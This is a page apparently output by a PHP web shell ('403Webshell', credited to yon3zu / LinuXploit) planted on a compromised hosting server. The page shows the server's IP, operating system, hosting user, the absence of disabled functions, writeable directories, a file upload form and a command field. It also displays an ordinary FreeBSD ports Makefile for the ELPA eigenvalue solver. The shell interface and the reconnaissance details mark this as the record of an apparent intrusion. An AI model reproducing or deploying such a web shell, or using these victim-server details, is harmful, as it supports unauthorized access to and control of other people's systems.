403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/elpa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/math/elpa/Makefile
PORTNAME=	elpa
DISTVERSION=	2021.11.001
CATEGORIES=	math
MASTER_SITES=	https://elpa.mpcdf.mpg.de/software/tarball-archive/Releases/${DISTVERSION}/

MAINTAINER=	yuri@FreeBSD.org
COMMENT=	Eigenvalue soLver for Petaflop Applications
WWW=		https://elpa.mpcdf.mpg.de/

LICENSE=	GPLv3 LGPL3
LICENSE_COMB=	dual
LICENSE_FILE_GPLv3=	${WRKSRC}/COPYING/gpl.txt
LICENSE_FILE_LGPL3=	${WRKSRC}/COPYING/lgpl.txt

LIB_DEPENDS=	libopenblas.so:math/openblas

USES=		compiler:c11 fortran gmake libtool localbase perl5 shebangfix
USE_LDCONFIG=	yes

SHEBANG_GLOB=	*.pl

GNU_CONFIGURE=	yes
CONFIGURE_ARGS=	--disable-avx --disable-avx2 --disable-avx512 --disable-static \
		--disable-c-tests

CFLAGS+=	-I${WRKSRC} -I${WRKSRC}/private_modules
CFLAGS+=	-DFREEBSD_OSVERSION=${OSVERSION}
FCFLAGS+=	-I${WRKSRC} -I${WRKSRC}/private_modules
LDFLAGS+=	-lutil

# ugly workaround for missing .mod files: some targets are added before 'all' that force rebuild of missing .mod files
ALL_TARGET=	src/general/libelpa_private_la-elpa_utilities.lo \
		src/libelpa_private_la-elpa_generated_fortran_interfaces.lo \
		src/elpa1/libelpa_private_la-elpa1_compute_private.lo \
		src/elpa2/libelpa_private_la-elpa2_compute.lo \
		all
INSTALL_TARGET=	install-strip

BINARY_ALIAS=	make=gmake gcc=gcc${GCC_DEFAULT} g++=g++${GCC_DEFAULT} # build fails with clang: recursively calls cc
FCFLAGS+=	-std=legacy -I${LOCALBASE}/include

MAKE_JOBS_UNSAFE=	yes # part of the workaround for .mod files

OPTIONS_DEFINE=			OPENMP MPI DOCS
OPTIONS_DEFINE_amd64=		SSE
OPTIONS_DEFAULT_amd64=		SSE

SSE_CFLAGS=			-msse3
OPENMP_CONFIGURE_ENABLE=	openmp
MPI_CONFIGURE_WITH=		mpi
MPI_LIB_DEPENDS=		libmpich.so:net/mpich \
				libscalapack.so:math/scalapack

PORTDOCS=	*

post-patch:
	# workaround for: https://github.com/marekandreas/elpa/issues/6
	@${FIND} ${WRKSRC} -name "*.mk" | ${XARGS} ${REINPLACE_CMD} -e 's|-Werror| |'
	# patch in the full path name of config-f90.h
	@${FIND} ${WRKSRC} -name *.F90 -o -name *.c | ${XARGS} ${REINPLACE_CMD} -e 's|#include "config-f90.h"|#include "${WRKSRC}/config-f90.h"|'

.include <bsd.port.options.mk>

.if ${PORT_OPTIONS:NSSE}
CONFIGURE_ARGS+=	--disable-sse --disable-sse-assembly
.endif

post-install-DOCS-on:
	@cd ${STAGEDIR}${DOCSDIR} && ${RM} *gpl* COPYING LICENSE

.include <bsd.port.mk>

Youez - 2016 - github.com/yon3zu
LinuXploit